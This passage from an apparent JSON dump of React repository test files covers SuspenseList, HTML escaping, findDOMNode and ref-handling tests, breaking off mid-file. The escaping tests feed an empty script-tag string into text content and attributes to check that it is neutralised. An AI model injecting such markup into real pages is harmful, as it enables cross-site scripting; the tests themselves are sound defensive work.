text=\"Tail\" />\n      </Suspense>\n    );\n  }\n\n  function App() {\n    return (\n      <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n        <Suspense fallback={<Text text=\"Loading Async...\" />}>\n          <Async />\n        </Suspense>\n        <Tail />\n      </SuspenseList>\n    );\n  }\n\n  let setAsyncText;\n  function Async() {\n    const [c, _setAsyncText] = React.useState(0);\n    setAsyncText = _setAsyncText;\n    return <AsyncText text={c} />;\n  }\n\n  const root = ReactNoop.createRoot();\n  await act(() => {\n    root.render(<App />);\n  });\n  assertLog([\n    'Suspend! [0]',\n    'Loading Async...',\n    'Loading Tail...',\n    // pre-warming\n    'Suspend! [0]',\n  ]);\n  await act(() => {\n    resolveText(0);\n  });\n  assertLog([0, 'Tail']);\n  await act(() => {\n    setAsyncText(x => x + 1);\n  });\n  assertLog([\n    'Suspend! [1]',\n    'Loading Async...',\n    'Suspend! [1]',\n    'Loading Async...',\n    // pre-warming\n    'Suspend! [1]',\n  ]);\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/escapeTextForBrowser-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMServer;\n\ndescribe('escapeTextForBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMServer = require('react-dom/server');\n  });\n\n  it('ampersand is escaped when passed as text content', () => {\n    const response = ReactDOMServer.renderToString(<span>{'&'}</span>);\n    expect(response).toMatch('<span>&amp;</span>');\n  });\n\n  it('double quote is escaped when passed as text content', () => {\n    const response = ReactDOMServer.renderToString(<span>{'\"'}</span>);\n    expect(response).toMatch('<span>&quot;</span>');\n  });\n\n  it('single quote is escaped when passed as text content', () => {\n    const response = ReactDOMServer.renderToString(<span>{\"'\"}</span>);\n    expect(response).toMatch('<span>&#x27;</span>');\n  });\n\n  it('greater than entity is escaped when passed as text content', () => {\n    const response = ReactDOMServer.renderToString(<span>{'>'}</span>);\n    expect(response).toMatch('<span>&gt;</span>');\n  });\n\n  it('lower than entity is escaped when passed as text content', () => {\n    const response = ReactDOMServer.renderToString(<span>{'<'}</span>);\n    expect(response).toMatch('<span>&lt;</span>');\n  });\n\n  it('number is correctly passed as text content', () => {\n    const response = ReactDOMServer.renderToString(<span>{42}</span>);\n    expect(response).toMatch('<span>42</span>');\n  });\n\n  it('number is escaped to string when passed as text content', () => {\n    const response = ReactDOMServer.renderToString(<img data-attr={42} />);\n    expect(response).toMatch('<img data-attr=\"42\"/>');\n  });\n\n  it('escape text content representing a script tag', () => {\n    const response = ReactDOMServer.renderToString(\n      <span>{'<script type=\\'\\' src=\"\"></script>'}</span>,\n    );\n    expect(response).toMatch(\n      '<span>&lt;script type=&#x27;&#x27; ' +\n        'src=&quot;&quot;&gt;&lt;/script&gt;</span>',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/findDOMNodeFB-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOM = require('react-dom');\nconst StrictMode = React.StrictMode;\nconst assertConsoleErrorDev =\n  require('internal-test-utils').assertConsoleErrorDev;\n\ndescribe('findDOMNode', () => {\n  // @gate www && classic\n  it('findDOMNode should return null if passed null', () => {\n    expect(ReactDOM.findDOMNode(null)).toBe(null);\n  });\n\n  // @gate www && classic && !disableLegacyMode\n  it('findDOMNode should find dom element', () => {\n    class MyNode extends React.Component {\n      render() {\n        return (\n          <div>\n            <span>Noise</span>\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const myNode = ReactDOM.render(<MyNode />, container);\n    const myDiv = ReactDOM.findDOMNode(myNode);\n    const mySameDiv = ReactDOM.findDOMNode(myDiv);\n    expect(myDiv.tagName).toBe('DIV');\n    expect(mySameDiv).toBe(myDiv);\n  });\n\n  // @gate www && classic && !disableLegacyMode\n  it('findDOMNode should find dom element after an update from null', () => {\n    function Bar({flag}) {\n      if (flag) {\n        return <span>A</span>;\n      }\n      return null;\n    }\n    class MyNode extends React.Component {\n      render() {\n        return <Bar flag={this.props.flag} />;\n      }\n    }\n\n    const container = document.createElement('div');\n\n    const myNodeA = ReactDOM.render(<MyNode />, container);\n    const a = ReactDOM.findDOMNode(myNodeA);\n    expect(a).toBe(null);\n\n    const myNodeB = ReactDOM.render(<MyNode flag={true} />, container);\n    expect(myNodeA === myNodeB).toBe(true);\n\n    const b = ReactDOM.findDOMNode(myNodeB);\n    expect(b.tagName).toBe('SPAN');\n  });\n\n  // @gate www && classic\n  it('findDOMNode should reject random objects', () => {\n    expect(function () {\n      ReactDOM.findDOMNode({foo: 'bar'});\n    }).toThrowError('Argument appears to not be a ReactComponent. Keys: foo');\n  });\n\n  // @gate www && classic && !disableLegacyMode\n  it('findDOMNode should reject unmounted objects with render func', () => {\n    class Foo extends React.Component {\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const inst = ReactDOM.render(<Foo />, container);\n    ReactDOM.unmountComponentAtNode(container);\n\n    expect(() => ReactDOM.findDOMNode(inst)).toThrowError(\n      'Unable to find node on an unmounted component.',\n    );\n  });\n\n  // @gate www && classic && !disableLegacyMode\n  it('findDOMNode should not throw an error when called within a component that is not mounted', () => {\n    class Bar extends React.Component {\n      UNSAFE_componentWillMount() {\n        expect(ReactDOM.findDOMNode(this)).toBeNull();\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n    expect(() => {\n      const container = document.createElement('div');\n      ReactDOM.render(<Bar />, container);\n    }).not.toThrow();\n  });\n\n  // @gate www && classic && !disableLegacyMode\n  it('findDOMNode should warn if used to find a host component inside StrictMode', () => {\n    let parent = undefined;\n    let child = undefined;\n\n    class ContainsStrictModeChild extends React.Component {\n      render() {\n        return (\n          <StrictMode>\n            <div ref={n => (child = n)} />\n          </StrictMode>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ContainsStrictModeChild ref={n => (parent = n)} />,\n      container,\n    );\n\n    const match = ReactDOM.findDOMNode(parent);\n    assertConsoleErrorDev([\n      'findDOMNode is deprecated in StrictMode. ' +\n        'findDOMNode was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in div (at **)' +\n        '\\n    in ContainsStrictModeChild (at **)',\n    ]);\n    expect(match).toBe(child);\n  });\n\n  // @gate www && classic && !disableLegacyMode\n  it('findDOMNode should warn if passed a component that is inside StrictMode', () => {\n    let parent = undefined;\n    let child = undefined;\n\n    class IsInStrictMode extends React.Component {\n      render() {\n        return <div ref={n => (child = n)} />;\n      }\n    }\n\n    const container = document.createElement('div');\n\n    ReactDOM.render(\n      <StrictMode>\n        <IsInStrictMode ref={n => (parent = n)} />\n      </StrictMode>,\n      container,\n    );\n\n    const match = ReactDOM.findDOMNode(parent);\n    assertConsoleErrorDev([\n      'findDOMNode is deprecated in StrictMode. ' +\n        'findDOMNode was passed an instance of IsInStrictMode which is inside StrictMode. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in div (at **)' +\n        '\\n    in IsInStrictMode (at **)',\n    ]);\n    expect(match).toBe(child);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/quoteAttributeValueForBrowser-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMServer;\n\ndescribe('quoteAttributeValueForBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMServer = require('react-dom/server');\n  });\n\n  it('ampersand is escaped inside attributes', () => {\n    const response = ReactDOMServer.renderToString(<img data-attr=\"&\" />);\n    expect(response).toMatch('<img data-attr=\"&amp;\"/>');\n  });\n\n  it('double quote is escaped inside attributes', () => {\n    const response = ReactDOMServer.renderToString(<img data-attr={'\"'} />);\n    expect(response).toMatch('<img data-attr=\"&quot;\"/>');\n  });\n\n  it('single quote is escaped inside attributes', () => {\n    const response = ReactDOMServer.renderToString(<img data-attr=\"'\" />);\n    expect(response).toMatch('<img data-attr=\"&#x27;\"/>');\n  });\n\n  it('greater than entity is escaped inside attributes', () => {\n    const response = ReactDOMServer.renderToString(<img data-attr=\">\" />);\n    expect(response).toMatch('<img data-attr=\"&gt;\"/>');\n  });\n\n  it('lower than entity is escaped inside attributes', () => {\n    const response = ReactDOMServer.renderToString(<img data-attr=\"<\" />);\n    expect(response).toMatch('<img data-attr=\"&lt;\"/>');\n  });\n\n  it('number is escaped to string inside attributes', () => {\n    const response = ReactDOMServer.renderToString(<img data-attr={42} />);\n    expect(response).toMatch('<img data-attr=\"42\"/>');\n  });\n\n  it('object is passed to a string inside attributes', () => {\n    const sampleObject = {\n      toString: function () {\n        return 'ponys';\n      },\n    };\n\n    const response = ReactDOMServer.renderToString(\n      <img data-attr={sampleObject} />,\n    );\n    expect(response).toMatch('<img data-attr=\"ponys\"/>');\n  });\n\n  it('script tag is escaped inside attributes', () => {\n    const response = ReactDOMServer.renderToString(\n      <img data-attr={'<script type=\\'\\' src=\"\"></script>'} />,\n    );\n    expect(response).toMatch(\n      '<img data-attr=\"&lt;script type=&#x27;&#x27; ' +\n        'src=&quot;&quot;&gt;&lt;/script&gt;\"/>',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/refs-destruction-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet TestComponent;\nlet act;\nlet theInnerDivRef;\nlet theInnerClassComponentRef;\n\ndescribe('refs-destruction', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    class ClassComponent extends React.Component {\n      render() {\n        return null;\n      }\n    }\n\n    TestComponent = class extends React.Component {\n      constructor(props) {\n        super(props);\n        theInnerDivRef = React.createRef();\n        theInnerClassComponentRef = React.createRef();\n      }\n\n      render() {\n        if (this.props.destroy) {\n          return <div />;\n        } else if (this.props.removeRef) {\n          return (\n            <div>\n              <div />\n              <ClassComponent />\n            </div>\n          );\n        } else {\n          return (\n            <div>\n              <div ref={theInnerDivRef} />\n              <ClassComponent ref={theInnerClassComponentRef} />\n            </div>\n          );\n        }\n      }\n    };\n  });\n\n  afterEach(() => {\n    theInnerClassComponentRef = null;\n    theInnerDivRef = null;\n  });\n\n  it('should remove refs when destroying the parent', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<TestComponent />);\n    });\n\n    expect(theInnerDivRef.current).toBeInstanceOf(Element);\n    expect(theInnerClassComponentRef.current).toBeTruthy();\n\n    root.unmount();\n\n    expect(theInnerDivRef.current).toBe(null);\n    expect(theInnerClassComponentRef.current).toBe(null);\n  });\n\n  it('should remove refs when destroying the child', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<TestComponent />);\n    });\n\n    expect(theInnerDivRef.current).toBeInstanceOf(Element);\n    expect(theInnerClassComponentRef.current).toBeTruthy();\n\n    await act(async () => {\n      root.render(<TestComponent destroy={true} />);\n    });\n\n    expect(theInnerDivRef.current).toBe(null);\n    expect(theInnerClassComponentRef.current).toBe(null);\n  });\n\n  it('should remove refs when removing the child ref attribute', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<TestComponent />);\n    });\n\n    expect(theInnerDivRef.current).toBeInstanceOf(Element);\n    expect(theInnerClassComponentRef.current).toBeTruthy();\n\n    await act(async () => {\n      root.render(<TestComponent removeRef={true} />);\n    });\n\n    expect(theInnerDivRef.current).toBe(null);\n    expect(theInnerClassComponentRef.current).toBe(null);\n  });\n\n  it('should not error when destroying child with ref asynchronously', async () => {\n    let nestedRoot;\n    class Modal extends React.Component {\n      componentDidMount() {\n        this.div = document.createElement('div');\n        nestedRoot = ReactDOMClient.createRoot(this.div);\n        document.body.appendChild(this.div);\n        this.componentDidUpdate();\n      }\n\n      componentDidUpdate() {\n        setTimeout(() => {\n          ReactDOM.flushSync(() => {\n            nestedRoot.render(<div>{this.props.children}</div>);\n          });\n        }, 0);\n      }\n\n      componentWillUnmount() {\n        const self = this;\n        // some async animation\n        setTimeout(function () {\n          expect(function () {\n            nestedRoot.unmount();\n          }).not.toThrow();\n          document.body.removeChild(self.div);\n        }, 0);\n      }\n\n      render() {\n        return null;\n      }\n    }\n\n    class AppModal extends React.Component {\n      render() {\n        return (\n          <Modal>\n            <a ref={React.createRef()} />\n          </Modal>\n        );\n      }\n    }\n\n    class App extends React.Component {\n      render() {\n        return this.props.hidden ? null : <AppModal onClose={this.close} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App />);\n    });\n    await act(async () => {\n      root.render(<App hidden={true} />);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/refs-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOMClient = require('react-dom/client');\nconst act = require('internal-test-utils').act;\n\n/**\n * Tests that when a ref hops around children, we can track that correctly.\n */\ndescribe('ref swapping', () => {\n  let RefHopsAround;\n  beforeEach(() => {\n    RefHopsAround = class extends React.Component {\n      container = null;\n      state = {count: 0};\n      hopRef = React.createRef();\n      divOneRef = React.createRef();\n      divTwoRef = React.createRef();\n      divThreeRef = React.createRef();\n\n      moveRef = () => {\n        this.setState({count: this.state.count + 1});\n      };\n\n      render() {\n        const count = this.state.count;\n        /**\n         * What we have here, is three divs with refs (div1/2/3), but a single\n         * moving cursor ref `hopRef` that \"hops\" around the three. We'll call the\n         * `moveRef()` function several times and make sure that the hop ref\n         * points to the correct divs.\n         */\n        return (\n          <div ref={current => (this.container = current)}>\n            <div\n              className=\"first\"\n              ref={count % 3 === 0 ? this.hopRef : this.divOneRef}\n            />\n            <div\n              className=\"second\"\n              ref={count % 3 === 1 ? this.hopRef : this.divTwoRef}\n            />\n            <div\n              className=\"third\"\n              ref={count % 3 === 2 ? this.hopRef : this.divThreeRef}\n            />\n          </div>\n        );\n      }\n    };\n  });\n\n  it('Allow refs to hop around children correctly', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    let refHopsAround;\n    await act(() => {\n      root.render(<RefHopsAround ref={current => (refHopsAround = current)} />);\n    });\n\n    const firstDiv = refHopsAround.container.querySelector('.first');\n    const secondDiv = refHopsAround.container.querySelector('.second');\n    const thirdDiv = refHopsAround.container.querySelector('.third');\n\n    expect(refHopsAround.hopRef.current).toEqual(firstDiv);\n    expect(refHopsAround.divTwoRef.current).toEqual(secondDiv);\n    expect(refHopsAround.divThreeRef.current).toEqual(thirdDiv);\n\n    await act(() => {\n      refHopsAround.moveRef();\n    });\n    expect(refHopsAround.divOneRef.current).toEqual(firstDiv);\n    expect(refHopsAround.hopRef.current).toEqual(secondDiv);\n    expect(refHopsAround.divThreeRef.current).toEqual(thirdDiv);\n\n    await act(() => {\n      refHopsAround.moveRef();\n    });\n    expect(refHopsAround.divOneRef.current).toEqual(firstDiv);\n    expect(refHopsAround.divTwoRef.current).toEqual(secondDiv);\n    expect(refHopsAround.hopRef.current).toEqual(thirdDiv);\n\n    /**\n     * Make sure that after the third, we're back to where we started and the\n     * refs are completely restored.\n     */\n    await act(() => {\n      refHopsAround.moveRef();\n    });\n    expect(refHopsAround.hopRef.current).toEqual(firstDiv);\n    expect(refHopsAround.divTwoRef.current).toEqual(secondDiv);\n    expect(refHopsAround.divThreeRef.current).toEqual(thirdDiv);\n  });\n\n  it('always has a value for this.refs', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component ref={current => (instance = current)} />);\n    });\n    expect(!!instance.refs).toBe(true);\n  });\n\n  it('ref called correctly for stateless component', async () => {\n    let refCalled = 0;\n    function Inner(props) {\n      return <a ref={props.saveA} />;\n    }\n\n    class Outer extends React.Component {\n      saveA = () => {\n        refCalled++;\n      };\n\n      componentDidMount() {\n        this.setState({});\n      }\n\n      render() {\n        return <Inner saveA={this.saveA} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Outer />);\n    });\n\n    expect(refCalled).toBe(1);\n  });\n\n  it('provides an error for invalid refs', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<div ref={10} />);\n      });\n      // TODO: This throws an AggregateError. Need to update test infra to\n      // support matching against AggregateError.\n    }).rejects.toThrow();\n    await expect(async () => {\n      await act(() => {\n        root.render(<div ref={true} />);\n      });\n      // TODO: This throws an AggregateError. Need to update test infra to\n      // support matching against AggregateError.\n    }).rejects.toThrow();\n    await expect(async () => {\n      await act(() => {\n        root.render(<div ref={Symbol('foo')} />);\n      });\n    }).rejects.toThrow('Expected ref to be a function');\n  });\n});\n\ndescribe('root level refs', () => {\n  it('attaches and detaches root refs', async () => {\n    let inst = null;\n\n    // host node\n    let ref = jest.fn(value => (inst = value));\n    const container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div ref={ref} />);\n    });\n    let result = container.firstChild;\n    expect(ref).toHaveBeenCalledTimes(1);\n    expect(ref.mock.calls[0][0]).toBeInstanceOf(HTMLDivElement);\n    expect(result).toBe(ref.mock.calls[0][0]);\n    await act(() => {\n      root.unmount();\n    });\n    expect(ref).toHaveBeenCalledTimes(2);\n    expect(ref.mock.calls[1][0]).toBe(null);\n\n    // composite\n    class Comp extends React.Component {\n      method() {\n        return true;\n      }\n      render() {\n        return <div>Comp</div>;\n      }\n    }\n\n    inst = null;\n    ref = jest.fn(value => (inst = value));\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp ref={ref} />);\n    });\n\n    expect(ref).toHaveBeenCalledTimes(1);\n    expect(inst).toBeInstanceOf(Comp);\n\n    // ensure we have the correct instance\n    expect(inst.method()).toBe(true);\n\n    await act(() => {\n      root.unmount();\n    });\n    expect(ref).toHaveBeenCalledTimes(2);\n    expect(ref.mock.calls[1][0]).toBe(null);\n\n    // fragment\n    inst = null;\n    ref = jest.fn(value => (inst = value));\n    let divInst = null;\n    const ref2 = jest.fn(value => (divInst = value));\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render([\n        <Comp ref={ref} key=\"a\" />,\n        5,\n        <div ref={ref2} key=\"b\">\n          Hello\n        </div>,\n      ]);\n    });\n\n    // first call should be `Comp`\n    expect(ref).toHaveBeenCalledTimes(1);\n    expect(ref.mock.calls[0][0]).toBeInstanceOf(Comp);\n\n    expect(ref2).toHaveBeenCalledTimes(1);\n    expect(divInst).toBeInstanceOf(HTMLDivElement);\n\n    await act(() => {\n      root.unmount();\n    });\n    expect(ref).toHaveBeenCalledTimes(2);\n    expect(ref.mock.calls[1][0]).toBe(null);\n    expect(ref2).toHaveBeenCalledTimes(2);\n    expect(ref2.mock.calls[1][0]).toBe(null);\n\n    // null\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(null);\n    });\n    result = container.firstChild;\n    expect(result).toBe(null);\n\n    // primitives\n    await act(() => {\n      root.render(5);\n    });\n    result = container.firstChild;\n    expect(result).toBeInstanceOf(Text);\n  });\n});\n\ndescribe('refs return clean up function', () => {\n  it('calls clean up function if it exists', async () => {\n    const container = document.createElement('div');\n    let cleanUp = jest.fn();\n    let setup = jest.fn();\n\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <div\n          ref={_ref => {\n            setup(_ref);\n            return cleanUp;\n          }}\n        />,\n      );\n    });\n\n    await act(() => {\n      root.render(\n        <div\n          ref={_ref => {\n            setup(_ref);\n          }}\n        />,\n      );\n    });\n\n    expect(setup).toHaveBeenCalledTimes(2);\n    expect(cleanUp).toHaveBeenCalledTimes(1);\n    expect(cleanUp.mock.calls[0][0]).toBe(undefined);\n\n    await act(() => {\n      root.render(<div ref={_ref => {}} />);\n    });\n\n    expect(cleanUp).toHaveBeenCalledTimes(1);\n    expect(setup).toHaveBeenCalledTimes(3);\n    expect(setup.mock.calls[2][0]).toBe(null);\n\n    cleanUp = jest.fn();\n    setup = jest.fn();\n\n    await act(() => {\n      root.render(\n        <div\n          ref={_ref => {\n            setup(_ref);\n            return cleanUp;\n          }}\n        />,\n      );\n    });\n\n    expect(setup).toHaveBeenCalledTimes(1);\n    expect(cleanUp).toHaveBeenCalledTimes(0);\n\n    await act(() => {\n      root.render(\n        <div\n          ref={_ref => {\n            setup(_ref);\n            return cleanUp;\n          }}\n        />,\n      );\n    });\n\n    expect(setup).toHaveBeenCalledTimes(2);\n    expect(cleanUp).toHaveBeenCalledTimes(1);\n  });\n\n  it('handles ref functions with stable identity', async () => {\n    const container = document.createElement('div');\n    const cleanUp = jest.fn();\n    const setup = jest.fn();\n\n    function _onRefChange(_ref) {\n      setup(_ref);\n      return cleanUp;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div ref={_onRefChange} />);\n    });\n\n    expect(setup).toHaveBeenCalledTimes(1);\n    expect(cleanUp).toHaveBeenCalledTimes(0);\n\n    await act(() => {\n      root.render(<div className=\"niceClassName\" ref={_onRefChange} />);\n    });\n\n    expect(setup).toHaveBeenCalledTimes(1);\n    expect(cleanUp).toHaveBeenCalledTimes(0);\n\n    await act(() => {\n      root.render(<div />);\n    });\n\n    expect(setup).toHaveBeenCalledTimes(1);\n    expect(cleanUp).toHaveBeenCalledTimes(1);\n  });\n\n  it('handles detaching refs with either cleanup function or null argument', async () => {\n    const container = document.createElement('div');\n    const cleanUp = jest.fn();\n    const setup = jest.fn();\n    const setup2 = jest.fn();\n    const nullHandler = jest.fn();\n\n    function _onRefChangeWithCleanup(_ref) {\n      if (_ref) {\n        setup(_ref.id);\n      } else {\n        nullHandler();\n      }\n      return cleanUp;\n    }\n\n    function _onRefChangeWithoutCleanup(_ref) {\n      if (_ref) {\n        setup2(_ref.id);\n      } else {\n        nullHandler();\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div id=\"test-div\" ref={_onRefChangeWithCleanup} />);\n    });\n\n    expect(setup).toBeCalledWith('test-div');\n    expect(setup).toHaveBeenCalledTimes(1);\n    expect(cleanUp).toHaveBeenCalledTimes(0);\n\n    await act(() => {\n      root.render(<div id=\"test-div2\" ref={_onRefChangeWithoutCleanup} />);\n    });\n\n    // Existing setup call was not called again\n    expect(setup).toHaveBeenCalledTimes(1);\n    // No null call because cleanup is returned\n    expect(nullHandler).toHaveBeenCalledTimes(0);\n    // Now we have a cleanup\n    expect(cleanUp).toHaveBeenCalledTimes(1);\n\n    // New ref is setup\n    expect(setup2).toBeCalledWith('test-div2');\n    expect(setup2).toHaveBeenCalledTimes(1);\n\n    // Now, render with the original ref again\n    await act(() => {\n      root.render(<div id=\"test-div3\" ref={_onRefChangeWithCleanup} />);\n    });\n\n    // Setup was not called again\n    expect(setup2).toBeCalledWith('test-div2');\n    expect(setup2).toHaveBeenCalledTimes(1);\n\n    // Null handler hit because no cleanup is returned\n    expect(nullHandler).toHaveBeenCalledTimes(1);\n\n    // Original setup hit one more time\n    expect(setup).toHaveBeenCalledTimes(2);\n  });\n\n  it('calls cleanup function on unmount', async () => {\n    const container = document.createElement('div');\n    const cleanUp = jest.fn();\n    const setup = jest.fn();\n    const nullHandler = jest.fn();\n\n    function _onRefChangeWithCleanup(_ref) {\n      if (_ref) {\n        setup(_ref.id);\n      } else {\n        nullHandler();\n      }\n      return cleanUp;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div id=\"test-div\" ref={_onRefChangeWithCleanup} />);\n    });\n\n    expect(setup).toHaveBeenCalledTimes(1);\n    expect(cleanUp).toHaveBeenCalledTimes(0);\n    expect(nullHandler).toHaveBeenCalledTimes(0);\n\n    root.unmount();\n\n    expect(setup).toHaveBeenCalledTimes(1);\n    // Now cleanup has been called\n    expect(cleanUp).toHaveBeenCalledTimes(1);\n    // Ref callback never called with null when cleanup is returned\n    expect(nullHandler).toHaveBeenCalledTimes(0);\n  });\n});\n\ndescribe('useImerativeHandle refs', () => {\n  const ImperativeHandleComponent = React.forwardRef(({name}, ref) => {\n    React.useImperativeHandle(\n      ref,\n      () => ({\n        greet() {\n          return `Hello ${name}`;\n        },\n      }),\n      [name],\n    );\n    return null;\n  });\n\n  it('should work with object style refs', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const ref = React.createRef();\n\n    await act(async () => {\n      root.render(<ImperativeHandleComponent name=\"Alice\" ref={ref} />);\n    });\n    expect(ref.current.greet()).toBe('Hello Alice');\n    await act(() => {\n      root.render(null);\n    });\n    expect(ref.current).toBe(null);\n  });\n\n  it('should work with callback style refs', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let current = null;\n\n    await act(async () => {\n      root.render(\n        <ImperativeHandleComponent\n          name=\"Alice\"\n          ref={r => {\n            current = r;\n          }}\n        />,\n      );\n    });\n    expect(current.greet()).toBe('Hello Alice');\n    await act(() => {\n      root.render(null);\n    });\n    expect(current).toBe(null);\n  });\n\n  it('should work with callback style refs with cleanup function', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    let cleanupCalls = 0;\n    let createCalls = 0;\n    let current = null;\n\n    const ref = r => {\n      current = r;\n      createCalls++;\n      return () => {\n        current = null;\n        cleanupCalls++;\n      };\n    };\n\n    await act(async () => {\n      root.render(<ImperativeHandleComponent name=\"Alice\" ref={ref} />);\n    });\n    expect(current.greet()).toBe('Hello Alice');\n    expect(createCalls).toBe(1);\n    expect(cleanupCalls).toBe(0);\n\n    // update a dep should recreate the ref\n    await act(async () => {\n      root.render(<ImperativeHandleComponent name=\"Bob\" ref={ref} />);\n    });\n    expect(current.greet()).toBe('Hello Bob');\n    expect(createCalls).toBe(2);\n    expect(cleanupCalls).toBe(1);\n\n    // unmounting should call cleanup\n    await act(() => {\n      root.render(null);\n    });\n    expect(current).toBe(null);\n    expect(createCalls).toBe(2);\n    expect(cleanupCalls).toBe(2);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/refsLegacy-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React = require('react');\nlet ReactDOM = require('react-dom');\n\ndescribe('root level refs with legacy APIs', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n  });\n\n  // @gate !disableLegacyMode\n  it('attaches and detaches root refs', () => {\n    let inst = null;\n\n    // host node\n    let ref = jest.fn(value => (inst = value));\n    const container = document.createElement('div');\n    let result = ReactDOM.render(<div ref={ref} />, container);\n    expect(ref).toHaveBeenCalledTimes(1);\n    expect(ref.mock.calls[0][0]).toBeInstanceOf(HTMLDivElement);\n    expect(result).toBe(ref.mock.calls[0][0]);\n    ReactDOM.unmountComponentAtNode(container);\n    expect(ref).toHaveBeenCalledTimes(2);\n    expect(ref.mock.calls[1][0]).toBe(null);\n\n    // composite\n    class Comp extends React.Component {\n      method() {\n        return true;\n      }\n      render() {\n        return <div>Comp</div>;\n      }\n    }\n\n    inst = null;\n    ref = jest.fn(value => (inst = value));\n    result = ReactDOM.render(<Comp ref={ref} />, container);\n\n    expect(ref).toHaveBeenCalledTimes(1);\n    expect(inst).toBeInstanceOf(Comp);\n    expect(result).toBe(inst);\n\n    // ensure we have the correct instance\n    expect(result.method()).toBe(true);\n    expect(inst.method()).toBe(true);\n\n    ReactDOM.unmountComponentAtNode(container);\n    expect(ref).toHaveBeenCalledTimes(2);\n    expect(ref.mock.calls[1][0]).toBe(null);\n\n    // fragment\n    inst = null;\n    ref = jest.fn(value => (inst = value));\n    let divInst = null;\n    const ref2 = jest.fn(value => (divInst = value));\n    result = ReactDOM.render(\n      [\n        <Comp ref={ref} key=\"a\" />,\n        5,\n        <div ref={ref2} key=\"b\">\n          Hello\n        </div>,\n      ],\n      container,\n    );\n\n    // first call should be `Comp`\n    expect(ref).toHaveBeenCalledTimes(1);\n    expect(ref.mock.calls[0][0]).toBeInstanceOf(Comp);\n    expect(result).toBe(ref.mock.calls[0][0]);\n\n    expect(ref2).toHaveBeenCalledTimes(1);\n    expect(divInst).toBeInstanceOf(HTMLDivElement);\n    